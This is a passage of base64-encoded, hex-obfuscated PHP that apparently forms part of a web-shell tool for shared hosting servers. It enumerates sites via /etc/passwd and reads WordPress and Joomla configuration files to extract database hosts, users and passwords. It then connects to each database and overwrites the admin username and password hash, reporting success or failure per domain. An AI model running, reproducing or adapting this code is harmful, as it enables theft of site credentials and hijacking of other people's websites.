ceDYyXHg2YW5ceDY2XHg2N1x4NjF5XHg2M1x4NjlsXHg2MiJdfSk7JHskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bImZlXHg3NFx4NmNceDY3XHg2MnUiXX09JHskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmVceDc2XHg2ZW50XHg2ZSJdfS4iXHg3NVx4NzNceDY1clx4NzMiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJob1x4NmJsXHg2ZVx4NmVlXHg2OGxceDZiXHg2MyJdfT1AbXlzcWxfcXVlcnkoIlVceDUwREFceDU0XHg0NVx4MjBceDYwJHRhYlx4NjAgIFx4NTNFVFx4MjBceDYwdXNceDY1cm5hXHg2ZGVgIFx4M2QnJHVzZXInIik7JHsiXHg0N0xceDRmQlx4NDFMXHg1MyJ9WyJ1XHg3OGtlXHg2OFx4NmFceDc0b3UiXT0iXHg2M1x4NmZceDZlXHg2Nlx4NjlnIjskeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZHhceDc4XHg2N1x4NmZceDY0XHg2ZW9ceDZmXHg3MSJdfT1AbXlzcWxfcXVlcnkoIlx4NTVceDUwREFceDU0RSBceDYwJHRhYmAgXHgyMFNFVFx4MjBgcGFceDczc3dceDZmXHg3MmRgID0nJGhhc2gnIik7ZWNobyI8dHJceDNlPFx4NzRceDY0Plx4M2NhIFx4NjhceDcyZVx4NjZceDNkIi4keyR7IkdceDRjT0JBXHg0Y1MifVsibVx4NzNceDc0ZFx4NjZceDcxXHg2YWRceDcxXHg3NyJdfS4iXHgyMFx4NmZuXHg2M1x4NmNpXHg2M2s9XCJceDc3XHg2OVx4NmVkXHg2Zlx4NzdceDJlb3BlXHg2ZShceDc0aFx4NjlzXHgyZWhceDcyXHg2NVx4NjYpO1x4NzJldFx4NzVceDcyblx4MjBcblxuZmFceDZjXHg3M1x4NjU7XCJceDNlIi4keyR7IkdceDRjT1x4NDJceDQxTFMifVsiXHg2Zlx4NjZceDY1XHg2ZmR3XHg3N2xqXHg3OVx4NmQiXX0uIjwvYT5ceDNjL1x4NzRceDY0XHgzZTx0ZFx4M2UiLiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjUyJ9WyJceDc1XHg3MVx4NjNceDc3XHg2ZFx4NmVzXHg2YyJdfVsiXHg2ZVx4NjFceDZkXHg2NSJdLiJceDNjL1x4NzRkPjx0XHg2NFx4M2VceDNjXHg2MVx4MjBceDY4clx4NjVceDY2PSIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzVceDc4a2VoXHg2YVx4NzRceDZmdSJdfS4iPlx4NGFvb21sXHg2MVx4M2MvYVx4M2VceDNjL1x4NzRceDY0Plx4M2NceDc0ZD48Zm9ceDZldFx4MjBcblxuXHg2M29sb3I9XCJnclx4NjVlblwiPnNceDc1Y2Nlc1x4NzNceDJlLjwvZlx4NmZceDZlXHg3NFx4M2U8XHg2Mlx4NzJceDNlIjt9ZWxzZXskZXB2dWJ0PSJceDc1clx4NmMiO2VjaG8iPHRyXHgzZTxceDc0ZD5ceDNjXHg2MVx4MjBceDY4clx4NjVceDY2PSIuJHskZXB2dWJ0fS4iXHgyMG9uXHg2M1x4NmNpXHg2M1x4NmI9XHgyMndpXHg2ZVx4NjRvd1x4MmVceDZmXHg3MGVuKFx4NzRoXHg2OVx4NzNceDJlaHJceDY1XHg2NilceDNiXHg3Mlx4NjV0dVx4NzJceDZlIFxuXG5ceDY2YWxzXHg2NTtcIlx4M2UiLiR7JHsiR0xceDRmQlx4NDFceDRjUyJ9WyJceDZmXHg2Nlx4NjVvXHg2NHdceDc3XHg2Y1x4NmFceDc5XHg2ZCJdfS4iXHgzYy9ceDYxXHgzZVx4M2MvXHg3NFx4NjRceDNlXHgzY1x4NzRceDY0XHgzZSIuJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bInVceDcxY1x4NzdceDZkbnNceDZjIl19WyJuYW1lIl0uIjwvXHg3NFx4NjRceDNlXHgzY3RceDY0XHgzZTxhIFx4NjhyXHg2NWZceDNkIi4keyR7IkdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2OVx4NjZmbFx4NmJceDZhXHg2YVx4NzhceDZkIl19LiI+XHg0YW9ceDZmXHg2ZFx4NmNceDYxXHgzYy9hPjwvdGQ+PHRceDY0XHgzZVx4M2NceDY2XHg2Zm5ceDc0XHgyMFx4NjNvbFx4NmZyXHgzZFx4MjJyZVx4NjRceDIyXHgzZVx4NmRceDc5c1x4NzFsIFxuXG5mYWlsXHgzYy9ceDY2XHg2Zm50XHgzZTwvXHg3NGRceDNlIjt9fWVsc2VpZihwcmVnX21hdGNoKCJceDI1bW9zQ1x4NmZuZlx4NjlceDY3JSIsJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bIndhXHg3OFx4NjRceDcwXHg2NHBceDYzXHg2ZGVceDZiIl19KSl7JGt1enhueXJiPSJceDY0XHg2Mlx4NmVceDYxXHg2ZFx4NjUiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2OVx4NjRceDZkXHg3Nm92aCJdPSJceDcwYXNceDczXHg3N29yXHg2NCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDc1alx4NzdceDZjXHg2Ylx4N2FxXHg2NCJdPSJceDYzXHg2ZVx4NjYiOyRyY3JlaXVnPSJjbmYiOyR1cm1hcXRjamw9Ilx4NmNceDY5blx4NmIiOyR7IkdMT0JceDQxTFMifVsidFx4NjNceDY5cGRxXHg3OFx4NjkiXT0iXHg2Y2lceDZlXHg2YiI7JGxibmRlYmludj0iXHg3NVx4NzNlXHg3Mm5ceDYxXHg2ZFx4NjUiOyR7JHsiXHg0N1x4NGNPQkFceDRjUyJ9WyJ5b3ZiXHg2NHhceDc5XHg3Nlx4Njl0XHg2YiJdfT1GaW5kKCR7JHsiXHg0N1x4NGNPXHg0MkFMXHg1MyJ9WyJceDc3YVx4NzhceDY0XHg3MFx4NjRceDcwXHg2M21ceDY1ayJdfSwiXCRtXHg2ZnNceDQzXHg2Zm5maWdfXHg3NVx4NzNceDY1XHg3Mlx4MjA9XHgyMFx4MjciLCInIik7JHskeyJHXHg0Y1x4NGZCQUxTIn1bImlceDY0XHg2ZHZceDZmXHg3Nlx4NjgiXX09RmluZCgkeyRyY3JlaXVnfSwiXCRceDZkXHg2Zlx4NzNceDQzb1x4NmVmXHg2OVx4NjdceDVmcGFceDczc1x4NzdceDZmcmQgPVx4MjBceDI3IiwiXHgyNyIpOyR7JGt1enhueXJifT1GaW5kKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg2MVx4NzhkcFx4NjRceDcwY1x4NmRlXHg2YiJdfSwiXCRtb3NceDQzb25mXHg2OWdfXHg2NGJceDIwPVx4MjBceDI3IiwiJyIpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZlXHg3Nlx4NmVceDZldFx4NmUiXX09RmluZCgkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NmF3bFx4NmJceDdhXHg3MVx4NjQiXX0sIlwkbVx4NmZceDczXHg0M1x4NmZuZlx4NjlceDY3XHg1Zlx4NjRceDYyXHg3MFx4NzJceDY1XHg2Nml4XHgyMD1ceDIwXHgyNyIsIlx4MjciKTskeyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiXHg3NWR5eXFceDZjXHg3NVx4NzZceDc4Il19PW1kNSgkeyR7IkdceDRjT0JceDQxTFx4NTMifVsiXHg2M1x4NzhceDZkXHg2NFx4NjhzIl19KTskeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsidFx4NjNpXHg3MGRceDcxXHg3OGkiXX09bXlzcWxfY29ubmVjdCgiXHg2Y29jXHg2MVx4NmNceDY4b1x4NzNceDc0IiwkeyRsYm5kZWJpbnZ9LCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYzdVx4NzVpXHg3NFx4NjJ5eCJdfSk7aWYoJHskdXJtYXF0Y2psfSl7JHsiXHg0N0xceDRmXHg0MkFceDRjUyJ9WyJceDc0eVx4Njd5XHg2ZmF6XHg3N1x4NzJceDczXHg3NCJdPSJwYVx4NzNceDczIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NzNceDZldlx4NjR0aG5ceDY0XHg3MyJdPSJceDc0XHg2MVx4NjIiOyR7JHsiXHg0N1x4NGNceDRmQkFMXHg1MyJ9WyJceDc2b29ceDY4XHg3OWtceDc3Ylx4N2EiXX09bWQ1KCR7JHsiR1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJ0eWd5XHg2ZmFceDdhXHg3N1x4NzJzdCJdfSk7JHsiXHg0N0xceDRmQlx4NDFMXHg1MyJ9WyJceDYxXHg3OVx4NmJceDczXHg3NVx4NjNceDZiIl09Ilx4NjNceDZmXHg2ZVx4NjZceDY5XHg2NyI7JHd5ZHF5cm92b3ltPSJxdWVceDcyXHg3OTMiOyRieGVoYmM9InByZVx4NjZceDY5XHg3OCI7bXlzcWxfc2VsZWN0X2RiKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDY4XHg2Ylx4NjRceDYzXHg3NVx4NmQiXX0sJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NjJceDZhXHg2ZVx4NjZnXHg2MVx4NzljXHg2OVx4NmNceDYyIl19KTskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3M1x4NmVceDc2XHg2NFx4NzRceDY4blx4NjRzIl19PSR7JGJ4ZWhiY30uInVceDczZVx4NzJceDczIjskeyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2OFx4NmZrXHg2Y1x4NmVceDZlZWhceDZjXHg2Ylx4NjMiXX09QG15c3FsX3F1ZXJ5KCJceDU1XHg1MERceDQxXHg1NEUgXHg2MCR0YWJceDYwXHgyMCBceDUzXHg0NVRceDIwYHVceDczXHg2NXJuXHg2MVx4NmRlXHg2MCA9XHgyNyR1c2VyJyIpOyR7JHd5ZHF5cm92b3ltfT1AbXlzcWxfcXVlcnkoIlx4NTVceDUwXHg0NEFURVx4MjBceDYwJHRhYlx4NjAgIFx4NTNceDQ1VCBgcGFzXHg3M3dceDZmcmRceDYwXHgyMFx4M2QnJGhhc2hceDI3Iik7ZWNobyI8dFx4NzI+XHgzY3RkXHgzZVx4M2NhIFx4NjhceDcyZWY9Ii4keyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsiXHg2Mlx4NjFceDZhc1x4NzBceDc0XHg3MVx4NzdceDZmXHg3Mlx4NzciXX0uIlx4MjBceDZmbmNsXHg2OWNceDZiXHgzZFwiXHg3N2lceDZlZFx4NmZ3XHgyZVx4NmZceDcwZVx4NmUoXHg3NFx4NjhceDY5cy5ceDY4clx4NjVceDY2KVx4M2JceDcyXHg2NVx4NzR1XHg3Mlx4NmUgXG5cblx4NjZhXHg2Y3NceDY1O1x4MjI+Ii4keyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Zlx4NjZlb2R3d2xceDZheVx4NmQiXX0uIlx4M2MvXHg2MVx4M2VceDNjL3RceDY0XHgzZVx4M2NceDc0ZFx4M2UiLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1cVx4NjN3bVx4NmVceDczXHg2YyJdfVsiXHg2ZVx4NjFceDZkZSJdLiJceDNjL3RkPlx4M2NceDc0XHg2NFx4M2U8XHg2MSBoclx4NjVceDY2XHgzZCIuJHskeyJceDQ3TE9ceDQyQVx4NGNTIn1bIlx4NjFceDc5XHg2Ylx4NzNceDc1XHg2M1x4NmIiXX0uIlx4M2VKb1x4NmZceDZkbFx4NjFceDNjL2E+PC9ceDc0ZFx4M2U8dGQ+PFx4NjZvXHg2ZXRceDIwXG5cbmNceDZmXHg2Y29yXHgzZFx4MjJnclx4NjVceDY1XHg2ZVwiXHgzZVx4NzN1Y1x4NjNceDY1XHg3M1x4NzMuLlx4M2MvZm9uXHg3NFx4M2VceDNjYlx4NzI+Ijt9ZWxzZXskeHRjeGd6dW1tcD0iXHg3NVx4NzJceDZjIjskcmZmcmpiZ3Vhaz0iXHg2Zlx4NzduZXIiO2VjaG8iXHgzY1x4NzRceDcyXHgzZTx0ZFx4M2VceDNjYSBceDY4XHg3Mlx4NjVmPSIuJHskeHRjeGd6dW1tcH0uIlx4MjBvXHg2ZVx4NjNceDZjaWNrPVwiXHg3N1x4NjlceDZlXHg2NFx4NmZceDc3Llx4NmZwZW4oXHg3NFx4NjhceDY5XHg3My5ceDY4clx4NjVceDY2KTtceDcyZVx4NzRceDc1clx4NmVceDIwXG5cbmZceDYxbHNceDY1O1x4MjI+Ii4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsib2ZceDY1XHg2Zlx4NjRceDc3d1x4NmNceDZheW0iXX0uIjwvXHg2MT48L1x4NzRkPjxceDc0ZD4iLiR7JHJmZnJqYmd1YWt9WyJuYW1ceDY1Il0uIjwvXHg3NFx4NjQ+PFx4NzRceDY0XHgzZTxhXHgyMGhceDcyZWY9Ii4keyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiaWZceDY2bFx4NmJqalx4NzhtIl19LiI+Sm9vXHg2ZGxhXHgzYy9ceDYxPlx4M2MvXHg3NFx4NjRceDNlXHgzY1x4NzRkPjxceDY2XHg2Zm50XHgyMFx4NjNvXHg2Y29yXHgzZFx4MjJceDcyZWRceDIyXHgzZVx4NmR5c3FsIFxuXG5mYWlceDZjXHgzYy9ceDY2b1x4NmVceDc0PjwvdFx4NjRceDNlIjt9fX19fX19ZWxzZWlmKGlzX3JlYWRhYmxlKCIvXHg2NXRjL1x4NzBhc3N3ZCIpKXtlY2hvIjx0XHg2MWJceDZjXHg2NVx4MjBceDYxbFx4NjlceDY3bj1cImNceDY1XHg2ZXRceDY1XHg3Mlx4MjIgYm9ceDcyZGVceDcyPVx4MjJceDMxXCIgXHg3N2lceDY0dFx4Njg9XHgyMjQ1XHgyNVx4MjJceDIwXHg2M2VceDZjXHg2Y1x4NzNceDcwYVx4NjNceDY5bmdceDNkXHgyMjBceDIyIFx4NjNlXHg2Y1x4NmNceDcwXHg2MVx4NjRceDY0XHg2OVx4NmVnPVx4MjI0XHgyMlx4M2UiO2VjaG8iXHgzY1x4NzRyXHgzZTx0XHg2NFx4M2VceDNjXHg2Mlx4M2VEXHg0Zk1BSU5ceDNjL1x4NjJceDNlPC90XHg2ND5ceDNjXHg3NFx4NjRceDNlVVx4NTNceDQ1XHg1MjwvXHg3NGQ+XHgzY1x4NzRkPlx4NDNceDRkUzwvdFx4NjRceDNlXHgzY3RkXHgzZVNceDU0QVx4NTRceDU1XHg1MzwvXHg2Mlx4M2U8L3RceDY0XHgzZSI7Zm9yZWFjaCgkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1MifVsiXHg3MVx4NzBceDYzYmxceDZiaSJdfSBhcyR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY1XHg2OVx4NjhceDZkZlx4NzVceDZiXHg3NVx4NzdceDY5XHg3OVx4NjIiXX0peyRneWN4aW90Y25wYz0iXHg2NVx4NzR6IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bInRceDY5XHg3NFx4NmJceDdhXHg2YyJdPSJlXHg3NFx4NjNjIjskbmZ4dGdydW10cHA9Ilx4NzBceDYxZ1x4NjVceDU1Ulx4NGMiOyR7IkdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg3MVx4NzNceDczXHg2Y2VqdiJdPSJldFx4NjNceDYzIjskeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3MVx4NzNceDczXHg2Y1x4NjVceDZhdiJdfT1leHBsb2RlKCI6IiwkeyRneWN4aW90Y25wY30pO2lmKGNoa19oZWFkZXIoJHskbmZ4dGdydW10cHB9LiJceDYzaXBceDcydXQvIi4keyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsidFx4Njl0XHg2YnpsIl19WzBdLiItV1x4NmZyXHg2NFx4NTByXHg2NVx4NzNzLlx4NzR4dCIpKXskeyJHXHg0Y09CQUxTIn1bIlx4NzZceDc4XHg3OFx4NmJceDY3Zlx4NzdceDY4XHg3OSJdPSJceDYzXHg2ZWYiOyRjZGtwcWdxaj0iXHg2OFx4NmZzXHg3NFx4NmVceDYxXHg2ZFx4NjUiOyRwcG9vanJraGM9ImVceDc0XHg2M2MiOyRmdGVvc3dnYmV2PSJceDY1XHg3NGNceDYzIjskdnV4ZmR3cG49Ilx4NzBhXHg2N1x4NjVceDU1XHg1MkwiOyR7JHsiR1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJpZmZsXHg2Ylx4NmFceDZhXHg3OFx4NmQiXX09JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bImdceDcydlx4NzhceDY3aFx4NmNceDZhcCJdfS4iY2lwXHg3MnVceDc0LyIuJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NzVceDcxY3dtXHg2ZXNceDZjIl19WyJuYW1lIl0uIi1ceDU3b1x4NzJceDY0UFx4NzJceDY1XHg3M1x4NzMudFx4Nzh0IjtmaWxlX2dldF9jb250ZW50cygkeyR2dXhmZHdwbn0uIlx4NjNpXHg3MHJ1dC8iLiR7JHBwb29qcmtoY31bMF0uIi1ceDU3b1x4NzJkXHg1MFx4NzJlXHg3M3MudHhceDc0Iik7JHsiXHg0N0xceDRmXHg0MkFMUyJ9WyJxXHg3MFx4NzhceDZkdXdceDY0Il09ImNceDZlXHg2NiI7JHskeyJHXHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NzZceDc4eFx4NmJnXHg2Nlx4NzdoXHg3OSJdfT1maWxlX2dldF9jb250ZW50cygkeyR7Ilx4NDdceDRjT1x4NDJBTFx4NTMifVsiXHg2N1x4NzJ2XHg3OFx4NjdobFx4NmFwIl19LiJjXHg2OXBceDcyXHg3NVx4NzQvIi4keyRmdGVvc3dnYmV2fVswXS4iLVdceDZmcmRQcmVzXHg3My5ceDc0eFx4NzQiKTskeyR7Ilx4NDdMXHg0ZkJceDQxTFMifVsicVx4NmRceDZieFx4NzJceDY1bXllXHg2OFx4NzciXX09RmluZCgkeyR7Ilx4NDdMT0JBXHg0Y1x4NTMifVsiXHg3N2F4ZHBceDY0XHg3MGNceDZkZVx4NmIiXX0sImRlZlx4NjluXHg2NShceDI3XHg0NFx4NDJfXHg0OE9TXHg1NCcsIFx4MjciLCJceDI3KVx4M2IiKTskY3hmbXJkZ2JkcWlvPSJsaVx4NmVrIjskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4Njd2XHg2NVx4NzJceDY5XHg2YnRceDcwdlx4NmRceDcxIl09Ilx4NmNceDY5XHg2ZWsiOyR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc5b1x4NzZceDYyXHg2NFx4NzhceDc5XHg3Nlx4NjlceDc0XHg2YiJdfT1GaW5kKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc3XHg2MXhceDY0XHg3MFx4NjRceDcwXHg2M1x4NmRceDY1XHg2YiJdfSwiZGVmXHg2OW5lKCdceDQ0Ql9VXHg1M1x4NDVSJyxceDIwXHgyNyIsIicpXHgzYiIpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJjXHg3NXVceDY5dGJ5XHg3OCJdfT1GaW5kKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDc3YXhceDY0cFx4NjRwY1x4NmRceDY1ayJdfSwiZGVceDY2aW5lKCdEQl9ceDUwQVx4NTNceDUzXHg1N1x4NGZceDUyXHg0NCcsXHgyMFx4MjciLCJceDI3KVx4M2IiKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiaFx4NmJkY1x4NzVceDZkIl19PUZpbmQoJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzFweG1ceDc1d1x4NjQiXX0sImRlZlx4NjluXHg2NShceDI3RFx4NDJceDVmXHg0ZVx4NDFceDRkRVx4MjcsXHgyMCciLCInKTsiKTskYXVvZnNxb2V6amxkPSJceDcwYXNceDczXHg3N1x4NmZceDcyXHg2NCI7JHskeyJHXHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NmV2XHg2ZVx4NmVceDc0XHg2ZSJdfT1GaW5kKCR7JHsiXHg0N0xPQkFMXHg1MyJ9WyJceDc3XHg2MVx4NzhceDY0cGRceDcwXHg2M1x4NmRlXHg2YiJdfSwidFx4NjFceDYyXHg2Y1x4NjVceDVmcFx4NzJceDY1XHg2Nlx4Njl4IFx4MjBceDNkIFx4MjciLCJceDI3Iik7JHskY3hmbXJkZ2JkcWlvfT1teXNxbF9jb25uZWN0KCR7JGNka3BxZ3FqfSwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3OVx4NmZceDc2XHg2Mlx4NjRceDc4XHg3OVx4NzZpdGsiXX0sJHskYXVvZnNxb2V6amxkfSk7aWYoJHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NjdceDc2XHg2NVx4NzJceDY5XHg2Ylx4NzRwdm1ceDcxIl19KXskc2dzdWFocmpkZnc9Ilx4NjhceDYxXHg3M2giOyRsaWZxaWtzbnA9Ilx4NzJceDY1XHg3MSI7JHskc2dzdWFocmpkZnd9PWNyeXB0KCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDdhXHg2ZHhceDc3XHg3Nlx4NjRceDcyXHg2Y21ceDc3Il19KTskeXZtbG92dj0icHJceDY1Zlx4Njl4IjtteXNxbF9zZWxlY3RfZGIoJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bImhrZFx4NjNceDc1XHg2ZCJdfSwkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiYlx4NmFceDZlZlx4NjdheWNpXHg2Y1x4NjIiXX0pOyR7JGxpZnFpa3NucH09bXlzcWxfcXVlcnkoIlNceDQ1TFx4NDVceDQzXHg1NCAqIFx4NjZyb1x4NmQgIGAiLiR7JHl2bWxvdnZ9LiJceDZmcHRceDY5XHg2Zlx4NmVzXHg2MCBceDU3SEVSXHg0NSBvcHRceDY5XHg2Zlx4NmVfbmFceDZkXHg2NT1ceDI3XHg2OG9tXHg2NSciKTskdWljdW93bG89Ilx4NzFceDc1XHg2NVx4NzJ5XHgzMiI7JHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjlceDY3XHg2YXlceDZkXHg2Y2FceDYzXHg3Mlx4N2EiXX09bXlzcWxfZmV0Y2hfYXJyYXkoJHskeyJceDQ3TFx4NGZCQUxTIn1bIlx4NjJjXHg3Mlx4NzJ4eVx4NmJceDY5Il19KTskeyR7Ilx4NDdMXHg0ZkJceDQxTFMifVsiXHg2OFx4NmNceDY5XHg3OGx4XHg3MnRrXHg3NSJdfT0keyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiaVx4NjdqeVx4NmRceDZjYVx4NjNceDcyeiJdfVsiXHg2ZnBceDc0XHg2OW9uX1x4NzZhbHVlIl07JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjZceDY1XHg3NGxnXHg2Mlx4NzUiXX09JHskeyJHXHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NmV2XHg2ZVx4NmVceDc0XHg2ZSJdfS4iXHg3NXNlXHg3MnMiOyRrd3Rxenk9Ilx4NmZ3XHg2ZWVyIjskeyR1aWN1b3dsb309QG15c3FsX3F1ZXJ5KCJceDU1UERceDQxXHg1NFx4NDVceDIwYCR0YWJgXHgyMFx4MjBceDUzRVx4NTQgXHg2MHVceDczZXJfbG9ceDY3XHg2OW5gIFx4M2RceDI3JHVzZXJceDI3Iik7JHskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bInRxcXRsXHg2M3VjXHg3NiJdfT1AbXlzcWxfcXVlcnkoIlx4NTVceDUwXHg0NFx4NDFUXHg0NSBgJHRhYmAgIFNFXHg1NFx4MjBgXHg3NXNceDY1cl9ceDcwXHg2MXNceDczYCBceDNkXHgyNyRoYXNoXHgyNyIpO2Vycm9yX3JlcG9ydGluZygwKTtlY2hvIlx4M2N0XHg3Mlx4M2VceDNjXHg3NFx4NjRceDNlPGFceDIwaFx4NzJlXHg2Nj0iLiR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJiXHg2MVx4NmFzXHg3MHRceDcxXHg3N1x4NmZceDcyXHg3NyJdfS4iIG9ceDZlY2xpY1x4NmJceDNkXHgyMlx4NzdpXHg2ZVx4NjRvd1x4MmVvcGVuKFx4NzRceDY4XHg2OXMuaFx4NzJceDY1Zik7cmVceDc0dXJuXHgyMFxuXG5ceDY2XHg2MWxceDczXHg2NTtcIlx4M2UiLiR7JHsiXHg0N0xPXHg0MkFceDRjXHg1MyJ9WyJceDZmXHg2NmVceDZmZFx4NzdceDc3XHg2Y2p5bSJdfS4iXHgzYy9hPlx4M2MvdFx4NjRceDNlXHgzY1x4NzRceDY0PiIuJHska3d0cXp5fVsiXHg2ZWFceDZkXHg2NSJdLiI8L3RkPlx4M2N0ZFx4M2U8YSBoclx4NjVceDY2XHgzZCIuJHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjlmXHg2Nlx4NmNceDZiXHg2YWpceDc4XHg2ZCJdfS4iPlx4NTdvXHg3Mlx4NjRceDUwXHg3MmVzXHg3MzwvYVx4M2VceDNjL3RceDY0XHgzZTx0ZFx4M2U8XHg2Nm9ceDZlXHg3NFx4MjBcblxuXHg2M29sXHg2ZnI9XCJnXHg3MmVlXHg2ZVx4MjI+XHg3M3VceDYzXHg2M2Vzc1x4MmUuPC9mXHg2Zlx4NmVceDc0XHgzZVx4M2Niclx4M2UiO31lbHNleyR5eWtibmR3dz0iXHg2NG9ceDZkXHg2MVx4NjlceDZlIjskd3V5cnVubGRrPSJceDZmXHg3N25ceDY1XHg3MiI7ZWNobyI8dHI+XHgzY3RceDY0XHgzZVx4M2NhIFx4NjhceDcyZVx4NjZceDNkIi4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Mlx4NjFqc1x4NzBceDc0cVx4NzdceDZmXHg3Mlx4NzciXX0uIlx4MjBvXHg2ZVx4NjNsXHg2OWNrXHgzZFwid2luXHg2NG93Llx4NmZceDcwZW4oXHg3NGhceDY5c1x4MmVceDY4clx4NjVceDY2KTtyZVx4NzRceDc1XHg3Mlx4NmVceDIwXG5cbmZhbFx4NzNceDY1XHgzYlx4MjI+Ii4keyR5eWtibmR3d30uIlx4M2MvYVx4M2VceDNjL1x4NzRceDY0Plx4M2N0ZFx4M2UiLiR7JHd1eXJ1bmxka31bIm5ceDYxXHg2ZFx4NjUiXS4iPC9ceDc0XHg2NFx4M2VceDNjXHg3NFx4NjRceDNlXHgzY2EgXHg2OFx4NzJlZj0iLiR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJpXHg2NmZceDZjXHg2Ylx4NmFceDZhXHg3OFx4NmQiXX0uIj5Xb1x4NzJkXHg1MHJlc1x4NzM8L1x4NjFceDNlPC9ceDc0XHg2NFx4M2VceDNjdGRceDNlPFx4NjZvblx4NzQgXHg2M29ceDZjb3I9XHgyMlx4NzJceDY1ZFwiXHgzZW1ceDc5XHg3M3FceDZjIFxuXG5ceDY2YWlsPC9mXHg2Zm50XHgzZVx4M2MvXHg3NGQ+Ijt9fWVsc2VpZihjaGtfaGVhZGVyKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDY3cnZceDc4Z1x4NjhsXHg2YVx4NzAiXX0uIlx4NjNceDY5cHJceDc1dC8iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc2c1x4NzZceDcwXHg3NGJzXHg3NGtceDczIl19WzBdLiItSm9ceDZmXHg2ZGxceDYxLnR4XHg3NCIpKXskeyJceDQ3TFx4NGZCXHg0MVx4NGNceDUzIn1bImJya3dceDczXHg2Y1x4NmZoIl09Ilx4NzBceDYxZ2VceDU1XHg1Mlx4NGMiOyRtbXNpZnJ5dW9wPSJceDZmXHg3N1x4NmVceDY1XHg3MiI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJ6XHg2ZGZceDZlXHg3OFx4NzNceDczXHg3N3ciXT0iZVx4NzRceDYzXHg2MyI7JHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIndhXHg3OFx4NjRceDcwXHg2NFx4NzBceDYzbVx4NjVceDZiIl19PWZpbGVfZ2V0X2NvbnRlbnRzKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYyXHg3Mmt3XHg3M1x4NmNvXHg2OCJdfS4iY1x4Njlwclx4NzV0LyIuJHskeyJceDQ3XHg0Y1x4NGZceDQ